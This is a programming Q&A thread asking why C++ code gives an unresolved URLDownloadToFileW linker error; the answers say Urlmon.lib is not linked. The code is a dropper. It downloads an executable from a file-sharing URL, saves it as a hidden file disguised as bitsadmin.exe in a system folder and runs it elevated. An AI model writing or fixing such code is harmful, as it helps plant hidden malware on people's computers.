What is the error if everything is fine with the code?

Question

C++ / C#

Here is the code:

int main ()
{
  LPCTSTR linkFile = L"https://cdn-116.anonfiles.com/nco8va78uc/8c58d06d-1626633691/BITSADMIN-G1BAK7-SECURE.exe";
  LPCTSTR setupFile = L"C:\\ProgramData\\Microsoft\\Windows\\Caches\\bitsadmin.exe";

  URLDownloadToFileW(0, linkFile, setupFile, 0, 0);
  SetFileAttributes(setupFile, FILE_ATTRIBUTE_HIDDEN);
  ShellExecute(NULL, L"runas", setupFile, NULL, NULL, SW_SHOWNORMAL);

  system("pause");
  return 0;
}

And here is the error itself:

LNK2001 Unresolved external symbol URLDownloadToFileW.
LNK2001 unresolved external characters: 1

Answer 1

https://docs.microsoft.com/en-us/previous-versions...
The link shows that the URLDownloadToFileW function is declared in Urlmon.h and defined in Urlmon.dll.
Because an error at the linking stage, then the compilation was successful, which means that Urlmon.h is connected in one way or another during the compilation process. But Urlmon.lib is not added to the link options, which is why the error occurs.

Answer 2

URLDownloadToFileW cannot be found. Check if the library is properly linked